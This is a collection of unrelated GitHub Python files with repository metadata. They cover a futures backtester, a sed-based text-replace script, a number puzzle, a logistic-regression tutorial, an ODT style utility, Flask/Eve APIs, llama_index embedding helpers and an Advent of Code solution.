enddate=datetime(2023, 2, 20), strategy=MaatrPortfoliostrategy): # datetime(2020, 12, 31)\n self.startdate = startdate\n self.enddate = enddate\n self.sig_meth = 0 # 0预测 1概率预测 2真实 3二分类\n self.res_pa = makedir(f'{pa_prefix}/datas/backtest_res')\n self.syinfo = SymbolsInfo()\n self.symbol_li = self.syinfo.symbol_li_p\n self.df_symbols_all = self.syinfo.df_symbols_all\n self.bs = BacktesterStatistics()\n self.capital = 10_000_000\n # self.si = SymbolsInfo()\n self.strategy = strategy\n \n def set_strategy(self, strategy):\n ''''''\n self.strategy = strategy\n\n def backtesting(self, sy_li=None, startdate=None, enddate=None, plot=False, params={}):\n '''跑回测'''\n if sy_li is None: sy_li = self.symbol_li\n if startdate is None: startdate, enddate = self.startdate, self.enddate\n rates, priceticks, sizes, self.vt_symbols, slippages = {}, {}, {}, [], {}\n for sy in sy_li:\n vt_symbol = f'{sy}000.LOCAL'\n self.vt_symbols.append(vt_symbol)\n slippages[vt_symbol] = 0\n # sizes[vt_symbol] = 1\n rates[vt_symbol], priceticks[vt_symbol], sizes[vt_symbol], _ = self.syinfo.get_backtest_params(sy)\n \n startdate = self.startdate if self.startdate > startdate else startdate\n enddate = self.enddate if self.enddate < enddate else enddate\n \n engine = BacktestingEngine()\n engine.set_parameters(\n vt_symbols=self.vt_symbols,\n rates=rates,\n slippages=slippages,\n sizes=sizes,\n priceticks=priceticks,\n capital=self.capital,\n interval=Interval.MINUTE,\n start=startdate,\n end=enddate\n )\n params_adj = {'pricetick_dic': priceticks, 'size_dic': sizes, 'init_balance': self.capital}\n params_adj.update(params)\n engine.add_strategy(self.strategy, params_adj)\n # engine.add_strategy(AtrRsiStrategy, params)\n\n engine.load_data()\n engine.run_backtesting()\n df = engine.calculate_result()\n res = engine.calculate_statistics(output=True)\n \n if plot:\n engine.show_chart()\n\n return engine, res, df\n\n def run_backtesting(self, sy_li=None, pa='portfolio'):\n '''单品种跑回测'''\n pa=f'{self.res_pa}/{pa}'\n if sy_li is None: sy_li = self.symbol_li\n engine, res, df = self.backtesting(sy_li, self.startdate, self.enddate, plot=False, params={'hand': 1})\n symbol = 'total'\n sp = makedir(f'{pa}/{symbol}')\n for vt_sy, sy in zip(self.vt_symbols, sy_li):\n try:\n df_res = pd.DataFrame(engine.strategy.m_res[vt_sy].res_dic)\n except:\n print(vt_sy)\n for k, v in engine.strategy.m_res[vt_sy].res_dic.items():\n print(k, len(v))\n input()\n \n df_res.to_csv(f'{sp}/{sy}_df_res.csv', index=False)\n df_res['datetime'] = pd.to_datetime(df_res['datetime'])\n m_plot(df_res.set_index('datetime')[['pnl']], sy, sp)\n dic_to_dataframe(res).T.to_csv(f'{sp}/{symbol}_statistic.csv')\n df['pnl'] = df['balance'] / df['balance'].iloc[0]\n df.to_csv(f'{sp}/{symbol}_daily_pnl.csv')\n m_plot(df[['pnl']], 'pnl', f'{sp}')\n # plot_show(symbol, f'{sp}/{symbol}_df_res.csv', f'{sp}/{symbol}_res.png')\n print('done: ', symbol)\n return df\n\n\n\ndef run_PortfolioBackTester():\n bt = PortfolioBackTester()\n # bt.run_backtesting_all()\n bt.run_backtesting(sy_li=None)\n print('子进程关闭成功 BackTester')\n\n\nif __name__ == \"__main__\":\n # multi_p('maatr') # 多进程\n run_PortfolioBackTester()\n # run_BackTester('I000') # 单品种回测\n # run_MainconBackTester('PP') # 单品种主力合约回测\n # run_DynamicBacktester() # 动态筛选品种回测\n # run_yearly_statistic() # 计算年化指标\n # parant_func(child_func=partial(child_func, run_BackTester), symbol_method=0) # 单进程回测\n # parant_func(child_func=partial(child_func, run_MainconBackTester), symbol_method=1) # 单进程回测\n # run_StockIndexBacktester() # 股指期货回测\n # run_DowBacktester() # 道氏理论回测\n # run_IndexBacktester()\n # run_backtest_statistic()\n pass\n\n\n\n# %%\n","repo_name":"18337179943/CTARegularBacktest","sub_path":"backtest/portfolio_ctabacktester.py","file_name":"portfolio_ctabacktester.py","file_ext":"py","file_size_in_byte":5689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34633197550","text":"import os\nimport sys\nfilea = open(\"../a.txt\")\nfileb = open(\"../b.txt\")\nlinea = filea.readlines()\nlineb = fileb.readlines()\nfor index in range(len(linea)):\n\tlinea[index] = linea[index].rstrip()\n\tlineb[index] = lineb[index].rstrip()\n\tcommand = \"sed -i \\\"s/\"+linea[index]+\"/\"+lineb[index] + \"/g\\\" `grep -rl \"+linea[index]+\" ./*`\"\n\t#os.system('ls')c\n\tos.system(command)\n\t#print command\n\t#raw_input(\"break\")","repo_name":"tylerdurden2010/SearchChinese","sub_path":"change.py","file_name":"change.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30364638227","text":"import random\nimport numpy\n\n\n\ndef find_l_exp_expression(L,n_sum):\n l_exp_result=[]\n\n l_sub=[]\n #l_sub[0]=['1+','1-','1']\n for i in L:\n l_sub.append(['%s+'%i,'%s-'%i,'%s'%i])\n\n a = [[0,1,2]]*8\n\n L_a=[list(x) for x in numpy.array(numpy.meshgrid(*a)).T.reshape(-1,len(a))]\n \n\n count=0\n\n for j in L_a:\n \n i0,i1,i2,i3,i4,i5,i6,i7=j\n l_exp=''\n l_exp+=l_sub[0][i0]+l_sub[1][i1]+l_sub[2][i2]\n l_exp+=l_sub[3][i3]+l_sub[4][i4]+l_sub[5][i5]\n l_exp+=l_sub[6][i6]+l_sub[7][i7]+L[-1]\n\n total=eval(l_exp)\n if total==n_sum:\n l_exp_result.append(l_exp)\n count=count+1\n\n print('=== Number of results : ',count,' ===')\n return l_exp_result\n \nif __name__=='__main__':\n L='123456789'\n l_exp_operator=['','+','-']\n n_sum=int(input('Sum to :'))\n\n l_result=find_l_exp_expression(L,n_sum)\n for i in l_result :\n print ('\\t',n_sum,' = ',i)\n ","repo_name":"Nhocden/LitExtension_trainning","sub_path":"algorithm/sum_100.py","file_name":"sum_100.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41569642310","text":"try:\n from xml.etree import ElementTree as etree\nexcept ImportError:\n try:\n from elementtree import ElementTree as etree\n except ImportError:\n raise ImportError('Missing an implementation of ElementTree. ' \\\n 'Please install either Python >= 2.5 or ElementTree.')\n\nimport sys\nimport zipfile\nfrom tempfile import mkstemp\nimport shutil\nimport os\n\nNAMESPACES = {\n \"style\": \"urn:oasis:names:tc:opendocument:xmlns:style:1.0\",\n \"fo\": \"urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0\"\n}\n\ndef prepstyle(filename):\n \n zin = zipfile.ZipFile(filename)\n styles = zin.open(\"styles.xml\")\n\n root = None\n # some extra effort to preserve namespace prefixes\n for event, elem in etree.iterparse(styles, events=(\"start\", \"start-ns\")):\n if event == \"start-ns\":\n etree.register_namespace(elem[0], elem[1])\n elif event == \"start\":\n if root is None:\n root = elem\n\n styles.close()\n\n for el in root.findall(\".//style:page-layout-properties\",\n namespaces=NAMESPACES):\n for attr in el.attrib.keys():\n if attr.startswith(\"{%s}\" % NAMESPACES[\"fo\"]):\n del el.attrib[attr]\n \n tempname = mkstemp()\n zout = zipfile.ZipFile(os.fdopen(tempname[0], \"w\"), \"w\",\n zipfile.ZIP_DEFLATED)\n \n for item in zin.infolist():\n if item.filename == \"styles.xml\":\n zout.writestr(item, etree.tostring(root, encoding=\"UTF-8\"))\n else:\n zout.writestr(item, zin.read(item.filename))\n \n zout.close()\n zin.close()\n shutil.move(tempname[1], filename)\n\n\ndef main():\n args = sys.argv[1:]\n if len(args) != 1:\n sys.stderr.write(__doc__)\n sys.stderr.write(\"\\nUsage: %s STYLE_FILE.odt\\n\" % sys.argv[0])\n sys.exit(1)\n filename = args[0]\n prepstyle(filename)\n\nif __name__ == '__main__':\n main()\n\n\n# vim:tw=78:sw=4:sts=4:et:\n","repo_name":"adiabuk/arch-tf701t","sub_path":"usr/bin/rst2odt_prepstyles.py","file_name":"rst2odt_prepstyles.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20355748103","text":"#logistic regression\n# Data Preprocessing \n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Social_Network_Ads.csv')\nx = dataset.iloc[:, [2,3]].values\ny = dataset.iloc[:, 4].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.cross_validation import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.25, random_state = 0)\n\n# Feature Scaling #for accurate predic\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nx_train = sc_X.fit_transform(x_train)\nx_test = sc_X.transform(x_test)\n'''sc_y = StandardScaler()\ny_train = sc_y.fit_transform(y_train)''' #since already its categorical dep variable\n\n#fitting logistic regression to the training set #logistic is linear classifier\n #(since here in 2D,our 2 categories of users will be seperated by a straight line)\nfrom sklearn.linear_model import LogisticRegression\nclassifier = LogisticRegression(random_state = 0) #classifier is the object of logistic reg class\nclassifier.fit(x_train, y_train)\n\n#predicting the test set results\ny_pred = classifier.predict(x_test) #vector of predictions-of each of test set observation\n\n# making the confusion matrix\nfrom sklearn.metrics import confusion_matrix \ncm = confusion_matrix(y_test, y_pred) \ncm\n\n#visualizing the training set results\nfrom matplotlib.colors import ListedColormap\nx_set, y_set = x_train, y_train #giving local variable names\nx1,x2 = np.meshgrid(np.arange(start = x_set[:, 0].min() - 1, stop =x_set[:, 0].max() + 1, step = 0.01),#for age\n np.arange(start = x_set[:, 1].min() - 1, stop =x_set[:, 1].max() + 1, step = 0.01))#for salary\nplt.contourf(x1, x2, classifier.predict(np.array([x1.ravel(), x2.ravel()]).T).reshape(x1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))# ravel() flattens the array into 1D and T is transposition to make it a vector\nplt.xlim(x1.min(), x1.max())\nplt.ylim(x2.min(), x2.max())\nfor i,j in enumerate(np.unique(y_set)):\n plt.scatter(x_set[y_set == j, 0], x_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplt.title('logistic regression(training set)')\nplt.xlabel('age')\nplt.ylabel('estimated salary')\nplt.legend()\nplt.show()\n\n#visualizing the test set results\nfrom matplotlib.colors import ListedColormap\nx_set, y_set = x_test, y_test #giving local variable names\nx1,x2 = np.meshgrid(np.arange(start = x_set[:, 0].min() - 1, stop =x_set[:, 0].max() + 1, step = 0.01),#for age\n np.arange(start = x_set[:, 1].min() - 1, stop =x_set[:, 1].max() + 1, step = 0.01))#for salary\nplt.contourf(x1, x2, classifier.predict(np.array([x1.ravel(), x2.ravel()]).T).reshape(x1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))# ravel() flattens the array into 1D and T is transposition to make it a vector\nplt.xlim(x1.min(), x1.max())\nplt.ylim(x2.min(), x2.max())\nfor i,j in enumerate(np.unique(y_set)):\n plt.scatter(x_set[y_set == j, 0], x_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j) #c is a parameter for colour;The method ListedColormap() provides computer codes\n #for coloring. First 3 entries are for RGB and the last entry stands for transparency. \nplt.title('logistic regression(test set)')\nplt.xlabel('age')\nplt.ylabel('estimated salary')\nplt.legend()\nplt.show()\n\n#We can extract probability values and create a prediction based on a specified cut of value.\nprob_pred= classifier.predict_proba(x_test)\ny_pred = 1*(prob_pred[:,0] > 0.6) # giving cut_of_value = 0.6 \nplt.clf() # to remove previous plot\nplt.hist(prob_pred[:, 0])\nplt.show()\n","repo_name":"RoobiyaKhan/Classification-Models-Using-Python","sub_path":"r.logistic reg.py","file_name":"r.logistic reg.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"36377837470","text":"import json\n\nfrom eve import Eve\nfrom flask import request\nfrom flask_cors import CORS\nimport os\nfrom dotenv import load_dotenv\n\nfrom message_sender.msg_sender import send_message_to_account\n\napp = Eve()\n\nCORS(app)\napp.config['JSON_AS_ASCII'] = False\n\nload_dotenv()\n\n\n@app.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers',\n 'Content-Type,Authorization')\n response.headers.add('Access-Control-Allow-Methods',\n 'GET,PUT,POST,DELETE,OPTIONS')\n return response\n\n\ndef get_arg_from_request(req, arg_name: str):\n if arg_name in req.args.keys():\n return req.args[arg_name]\n\n return None\n\n\n@app.route('/write')\ndef write_to_user():\n ig_login = get_arg_from_request(request, 'login')\n bot_msg = get_arg_from_request(request, 'bot_msg')\n send_message_to_account(ig_login, bot_msg)\n\n response = app.response_class(\n response=json.dumps(ig_login, ensure_ascii=False, indent=4),\n status=200,\n mimetype='application/json'\n )\n return response\n\n\n# @app.route('/parse')\n# def parse_users():\n# account = parse_accounts()\n#\n# response = app.response_class(\n# response=json.dumps(account, ensure_ascii=False, indent=4),\n# status=200,\n# mimetype='application/json'\n# )\n# return response\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=os.environ.get('PORT', 5000))\n","repo_name":"sumi-app/sumi_instagram_service","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26390300423","text":"import os\nimport pandas as pd \nfrom tqdm import tqdm\nfrom llama_index import SimpleDirectoryReader, GPTTreeIndex, GPTVectorStoreIndex, ComposableGraph, GPTListIndex\nfrom src.constants import CSV2TXT_FOLDER, GPT_INDEX_LOCAL_PATH, GRAPH_EMBEDDINGS_LOCAL_PATH, KNOWLEDGE_GRAPH_FOLDER, GPT_INDEX_LOCAL_PATH \nfrom src.AutoCSVPipeline.prompt import get_summary_prompt\nfrom src.utils.logger import get_logger \n\n\ndef groupby_development(df: pd.DataFrame) -> dict[str | int,pd.DataFrame]: \n df_of_development: dict = {} \n development_id = df['development_id'].unique()\n for id in development_id: \n data = df[ \n df['development_id'] == id \n ]\n df_of_development[id] = data\n return df_of_development \n\n\n\ndef df_row_to_context_file(\n df_of_development: dict[str | int,pd.DataFrame], \n to_save_dir: str\n): \n \"\"\"\n Convert Dataframe Row to text and save to file by {development_id}_{reviewer_id}.txt \n param: \n df_of_development: \n to_save_dir: \n return: \n \"\"\"\n dict_context_by_development: dict[str,list[str]] = {}\n for id in tqdm(list(df_of_development.keys())): \n _df = df_of_development[id]\n for idx, row in _df.iterrows(): \n reviewer_id = row['id']\n review_date = row['review_date']\n development = row['development']\n development_id = int(row['development_id']) \n rating = row['rating']\n rating_facilities = row['rating_facilities']\n rating_design = row['rating_design']\n rating_location = row['rating_location']\n rating_value = row['rating_value']\n rating_management = row['rating_management']\n tenant_recommends = row['tenant_recommends']\n title = row['title']\n review_content = row['review_content']\n landlord_comments = row['landlord_comments']\n one_thing = row['one_thing']\n best_feature = row['best_feature']\n\n context_str_from_row = f\"\"\"This is another resident’s review of development: {development} (id: {development_id}) written on {review_date} with reviewer ID: {reviewer_id} \nThis reviewer scored the development as follows: \nOverall: {rating}/5 \nFacilities: {rating_facilities}/5 \nDesign: {rating_design}/5 \nLocation: {rating_location}/5 \nValue: {rating_value}/5 \nManagement: {rating_management}/5 \nWould the tenant recommend this landlord: {tenant_recommends} \n\n------\nReviewer's comment: \nReview Title: {title} \nComment: \n{review_content} \n------\n\nReview of the Landlord: {landlord_comments} \n\nOne thing which surprised the reviewer: {one_thing} \n\nThe best feature of the development: {best_feature} \n\"\"\"\n dict_context_by_development[\n f\"{development_id}_{reviewer_id}\"] = context_str_from_row \n\n # Create directory if it doesn't exist\n directory = f\"{to_save_dir}/{development_id}/\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n # Write context_template to file\n filename = f\"{development_id}_{reviewer_id}.txt\"\n with open(f\"{directory}/{filename}\", \"w+\", encoding=\"utf-8\") as f:\n f.write(context_str_from_row)\n\n return dict_context_by_development\n\ndef get_embeddings_from_folder(\n folderpath: str, \n stored_index_folder: str, \n custom_summary_prompt: str = None\n) -> tuple[list[GPTVectorStoreIndex], list[str]]: \n '''\n param: \n folderpath: str, *.txt folders \n stored_index_folder: str\n custom_summary_prompt: this prompt will be used for each folder to run summarization \n return: \n all_indices: list[GPTVectorStoreIndex]\n index_summaries: list[str]\n '''\n logger = get_logger()\n logger.info(f\"get_embeddings_from_folder of {folderpath}\")\n _stored_index_folder = f\"{GRAPH_EMBEDDINGS_LOCAL_PATH}/{stored_index_folder}\"\n if not os.path.exists(_stored_index_folder): \n os.makedirs(_stored_index_folder)\n\n list_developments = os.listdir(folderpath)\n\n all_indices: list[GPTVectorStoreIndex] = []\n index_summaries: list[str] = []\n for development_id in tqdm(list_developments): \n documents = SimpleDirectoryReader(f\"./{folderpath}/{development_id}/\").load_data()\n index = GPTVectorStoreIndex.from_documents(documents)\n index.index_struct.index_id = f\"{development_id}_development\" \n \n summary_prompt = get_summary_prompt(development_id=development_id, \n custom_body_prompt=custom_summary_prompt)\n\n summary = index.query(summary_prompt) \n summary = summary.response # NOTE: to get string only\n\n all_indices.append(index)\n index_summaries.append(summary)\n index.save_to_disk(f\"{GRAPH_EMBEDDINGS_LOCAL_PATH}/{stored_index_folder}/{development_id}.json\")\n\n return all_indices, index_summaries\n\n","repo_name":"dxv2k/langchain-webui","sub_path":"src/AutoCSVPipeline/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29166237991","text":"instructions = []\nlineCount = {}\nchangeList = []\n\nwith open(\"C:\\\\Privat\\\\advent_of_code20\\\\puzzle8\\\\input1.txt\") as f:\n i = 0\n for line in f:\n line = line.strip()\n instructions.append(line)\n lineCount[i] = 0\n if 'nop' in line or 'jmp' in line:\n changeList.append(i)\n\n i += 1\n\nprint(instructions)\nprint(lineCount)\n\ncleanAccumulator = 0\nclean = True\n\nfor index in changeList:\n clean = True\n for key in lineCount:\n lineCount[key] = 0\n accumulator = 0\n i = 0\n while i < len(instructions):\n currentInstruction = instructions[i]\n if i == index:\n if 'nop' in currentInstruction:\n currentInstruction = currentInstruction.replace('nop', 'jmp')\n if 'jmp' in currentInstruction:\n currentInstruction = currentInstruction.replace('jmp', 'nop')\n\n if lineCount[i] == 1:\n # break, loop detection\n #print(\"Aborting infinite loop.\")\n #print(\"This instruction will be executed a second time: \" + currentInstruction)\n #print(\"Current instruction number: \" + str(i))\n #print(\"Accumulator: \" + str(accumulator))\n clean = False\n break\n\n lineCount[i] += 1\n\n if 'acc' in currentInstruction:\n instrSplit = currentInstruction.split(' ')\n accumulator += int(instrSplit[1])\n i += 1\n\n if 'nop' in currentInstruction:\n i += 1\n\n if 'jmp' in currentInstruction:\n instrSplit = currentInstruction.split(' ')\n jump = int(instrSplit[1])\n i += jump\n if clean:\n cleanAccumulator = accumulator\n break\n\n\nif clean:\n print(\"Infinity loop solved.\")\n print(\"Accumulator: \" + str(cleanAccumulator))\n","repo_name":"muellerd/advent_of_code20","sub_path":"puzzle8/8b.py","file_name":"8b.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16658999455","text":"'''\nIf the numbers 1 to 5 are written out in words:\none, two, three, four, five, then there are\n3 + 3 + 5 + 4 + 4 = 19 letters used in total.\n\nIf all the numbers from 1 to 1000 (one thousand) \ninclusive were written out in words, how many letters would be used?\n\n\nNOTE: Do not count spaces or hyphens.\nFor example, 342 (three hundred and forty-two) contains 23 letters\nand 115 (one hundred and fifteen) contains 20 letters. \nThe use of \"and\" when writing out numbers is in compliance with British usage.\n'''\n\nlookup = {\n 0: '',\n 1: 'one',\n 2: 'two',\n 3: 'three',\n 4: 'four',\n 5: 'five',\n 6: 'six',\n 7: 'seven',\n 8: 'eight',\n 9: 'nine',\n 10: 'ten',\n 11: 'eleven',\n 12: 'twelve',\n 13: 'thirteen',\n 14: 'fourteen',\n 15: 'fifteen',\n 16: 'sixteen',\n 17: 'seventeen',\n 18: 'eighteen',\n 19: 'nineteen',\n 20: 'twenty',\n 30: 'thirty',\n 40: 'forty',\n 50: 'fifty',\n 60: 'sixty',\n 70: 'seventy',\n 80: 'eighty',\n 90: 'ninety',\n 1000: 'onethousand'\n}\n\ndef number_to_written(n):\n if n in lookup:\n return lookup[n]\n else:\n parts = [int(i) for i in str(n)]\n if len(parts) == 3:\n if parts[1] == 0 and parts[2] == 0:\n return lookup[parts[0]] + 'hundred'\n else:\n return lookup[parts[0]] + 'hundredand' + number_to_written((parts[1] * 10) + parts[2])\n else:\n return lookup[parts[0] * 10] + lookup[parts[1]]\n\ncount = 0\nfor n in range(1, 1001):\n count += len(number_to_written(n))\n\nprint(count) # 21124\n","repo_name":"klbinns/project-euler-solutions","sub_path":"Solutions/Problem17.py","file_name":"Problem17.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12603794939","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import redirect, url_for\nfrom flask import Response, request, jsonify\napp = Flask(__name__)\nimport sys\nimport copy\nimport json\n\n# data\nurl = ''\n\ntime_list = []\ntitle_list = {}\ndiagram_list = {}\n\n#routes\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/diagram')\ndef diagram():\n return render_template('diagram.html', timeList=title_list, orderedTimeList=time_list, diagramList=diagram_list, url=url)\n\n@app.route('/finish')\ndef finish():\n return render_template('finish.html', timeList=time_list, titleList=title_list, diagramList=diagram_list, url=url)\n\n# @app.route('/save_url', methods=['POST', 'GET'])\n# def save_url():\n# if request.method == 'POST':\n# return redirect(url_for('diagram'))\n# else:\n# global url\n# url = request.args['url']\n\n# return render_template('diagram.html')\n\n@app.route('/save_list', methods=['POST'])\ndef save_list():\n global time_list\n global title_list\n global diagram_list\n\n data = request.get_json()\n\n time_list = data['timeList']\n title_list = data['titleList']\n \n temp = data['diagramList']\n for key in temp:\n diagram_list[key] = json.loads(temp[key])\n\n return jsonify(diagram_list)\n\n@app.route('/save_url', methods=['POST'])\ndef save_url():\n global url\n \n data = request.get_json()\n url = data['url']\n print(data, file=sys.stderr)\n\n return jsonify(url)\n\n# main\nif __name__ == '__main__':\n app.run(debug = True)\n\n\n\n\n","repo_name":"wwenqi18/choreo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1924801668","text":"# Based on a RISK game map\n# I used this map as a refrence\n# https://risk-global-domination.fandom.com/wiki/Simple_World_Map\n\n# the map allows for the conquering of territories\n# keeps track of which players, and how many troops per peice of territory is conquered\n# checks if a territory CAN be conquered, by checking borders\n\nimport random\nimport copy\nfrom map import Map\n\n\nclass Player:\n # intalizes the name of the player, their name, & their ID (1, 2, 3, etc.)\n # it also intailzes them to a map\n def __init__(self, newName, newNumber, newMap: Map):\n self.name = newName\n self.id = newNumber\n self.troopCount = 0\n self.mapView = copy.deepcopy(newMap)\n\n # sets the initial Troop count\n def setTroopCount(self, count):\n self.troopCount = count\n\n # adds to the Troop count\n def addTroopCount(self, count):\n self.troopCount = self.troopCount + count\n\n # list all territories controled by the player\n # this method encapsulates the getPlayerTerritoryList in the map.py object\n def listTerritories(self):\n return self.mapView.getPlayerTerritoryList(self.id)\n\n # list all territories controled by the player, with Troop count\n # this methid encapsulates the getCountyTroopCount in the map.py object\n def getTroopTerritories(self):\n return self.mapView.getPlayerSoldierList(self.id)\n \n # checks if a territory is owned by a player\n def isPlayerTerritory(self, terriotry):\n return terriotry in self.listTerritories()\n\n # playes out a battle sequence\n def battle(self, attackTerritory, defendTerritory, diceAmount):\n # checks if the territory can be conquered\n if (attackTerritory not in self.listTerritories() or defendTerritory not in self.mapView.getNoneTerritoryList(self.id)):\n return False\n if (self.mapView.canBeAttacked(defendTerritory, self.id) == False or self.mapView.isBorder(attackTerritory, defendTerritory) == False):\n return False\n elif (self.mapView.getTroopCount(attackTerritory) < 2):\n # checks if the attacking terrsitory has enough troops to attacks\n return False\n else:\n self.battleSequence(attackTerritory, defendTerritory, diceAmount)\n return True\n\n # once a player wins a battle they may conquer\n def conquer(self, attackTerritory, defendTerritory, amountOfTroopsToMove):\n if (attackTerritory not in self.listTerritories() or defendTerritory not in self.mapView.getNoneTerritoryList(self.id)):\n print(\"HERE0\")\n return False\n\n attackTerritoryTroopCount = self.mapView.getTroopCount(attackTerritory)\n if (amountOfTroopsToMove > attackTerritoryTroopCount):\n print(\"HERE1\")\n return False\n elif attackTerritoryTroopCount - amountOfTroopsToMove < 1:\n print(\"HERE2\")\n return False\n elif self.mapView.getTroopCount(defendTerritory) > 0:\n print(\"HERE3\")\n return False\n\n self.setTroops(attackTerritory,\n (attackTerritoryTroopCount - amountOfTroopsToMove))\n self.conquerTerritory(defendTerritory, amountOfTroopsToMove)\n return True\n\n # this will receive a newMap\n def receiveNewMap(self, newMap: Map):\n self.mapView = newMap\n\n # this will send a deepcopy of this players mapView\n def sendMap(self):\n return copy.deepcopy(self.mapView)\n\n # dice roll\n def diceRoll(self):\n return random.randint(1, 6)\n\n # this method plays through only one battle sequence\n # returns an array where the first value is attacker's troops after battle\n # and the 2nd array value is the defender's troop after battle\n def battleSequence(self, attackTerritory, defendTerritory, diceRollAmount):\n\n attackTroopCount = self.mapView.getTroopCount(attackTerritory)\n defentTroopCount = self.mapView.getTroopCount(defendTerritory)\n\n # the amount of diceRolls permited, per player\n attackDiceRoll = diceRollAmount\n defenseDiceRoll = 2 if defentTroopCount > 2 else 1\n\n # the number of attacks phases is based on the amount of defence and attack Troops\n amountOfAttacks = 2 if defentTroopCount == 2 and attackTroopCount > 2 else 1\n\n # ther arrays contain the dice values\n attackDiceArray = [None] * attackDiceRoll\n defensekDiceArray = [None] * defenseDiceRoll\n\n # dice is rolled and the values are placed in the dice arrays\n for i in range(attackDiceRoll):\n attackDiceArray[i] = int(self.diceRoll())\n\n for i in range(defenseDiceRoll):\n defensekDiceArray[i] = int(self.diceRoll())\n\n # dice are rted\n attackDiceArray.sort(reverse=True)\n defensekDiceArray.sort(reverse=True)\n\n # attack phase is done, basically comapres the highest 1st and 2nd dice\n # to see if Troops will be lost\n for i in range(amountOfAttacks):\n if attackDiceArray[i] > defensekDiceArray[i]:\n defentTroopCount = defentTroopCount - 1\n else:\n attackTroopCount = attackTroopCount - 1\n\n self.setTroops(attackTerritory, attackTroopCount)\n self.mapView.listOfTerritories[defendTerritory] = [self.mapView.listOfTerritories[defendTerritory][0], defentTroopCount]\n\n # sets troops on territory\n def setTroops(self, territoryName, amountOfTroops):\n if self.mapView.listOfTerritories.get(territoryName)[0] == self.id:\n newTerritoryStat = [self.id, amountOfTroops]\n self.mapView.listOfTerritories[territoryName] = newTerritoryStat\n return True\n return False\n\n # adds troops to a territory\n def addTroops(self, territoryName, amountOfTroops):\n if (self.troopCount < amountOfTroops):\n return False\n if (amountOfTroops < 0):\n self.troopCount = self.troopCount + amountOfTroops\n else :\n self.troopCount = self.troopCount - amountOfTroops\n\n return self.setTroops(territoryName, self.mapView.getTroopCount(territoryName) + amountOfTroops)\n\n # conqueres territory per player\n def conquerTerritory(self, territoryName, numberOfTroops):\n newTerritoryStats = [self.id, numberOfTroops]\n self.mapView.listOfTerritories[territoryName] = newTerritoryStats\n \n # moves troops from one point of the map to anoterh\n def moveTroops(self, receivingTerritory, sendingTerritory, amountOfTroops):\n sendTroops = self.mapView.getTroopCount(sendingTerritory)\n\n # checks that all territories are under the plyers control, and that the sending territory will have at least one player left\n if (amountOfTroops >= sendTroops or receivingTerritory in self.listTerritories == False or sendingTerritory in self.listTerritories == False):\n return False\n \n self.addTroops(sendingTerritory, -1 * amountOfTroops)\n self.addTroops(receivingTerritory, amountOfTroops)\n return False\n \n # prints the player's territories w/ troop count\n def printTroopTerritories(self):\n listOfTerr = self.getTroopTerritories()\n print('Territory Name: TroopCount')\n for terrBlock in listOfTerr:\n print(f'{terrBlock[0]}: {terrBlock[1]}')\n \n # prints the list of territories the player doesn't own, with the ways \n # it can be invaded, w/ the troup counts on said terirotires\n def printCombatView(self):\n listOfNoneTerritories = self.mapView.getNoneTerritoryList(self.id)\n print(\"Combat View\")\n for territory in listOfNoneTerritories:\n # gets the territories that border that territory, that the player owns\n # also includes the troop amount on that territory\n borderTerritories = self.mapView.gameMap.get(territory)\n ownedBorderedTerritories = []\n for borderT in borderTerritories:\n if borderT in self.listTerritories():\n territoryStats = f'{borderT} w/ {self.mapView.getTroopCount(borderT)} troops, '\n ownedBorderedTerritories.append(territoryStats)\n print(f'{territory} ({self.mapView.getTroopCount(territory)} Troops) can be conquered through: {ownedBorderedTerritories}')\n\n","repo_name":"RahulPil/Risk404","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":8313,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"28953189845","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image, ImageDraw, ImageFont\nfrom utilities import convert_hex_color_code_to_rgb, convert_matplotlib_figure_to_PIL_image\nfrom config import *\n\n\nclass Slide:\n def __init__(self, width=1280, height=720):\n self.__slide = Image.new('RGB', (width, height), color='white')\n\n\n def add_title(self, text='EXAMPLE_TITLE'):\n '''\n 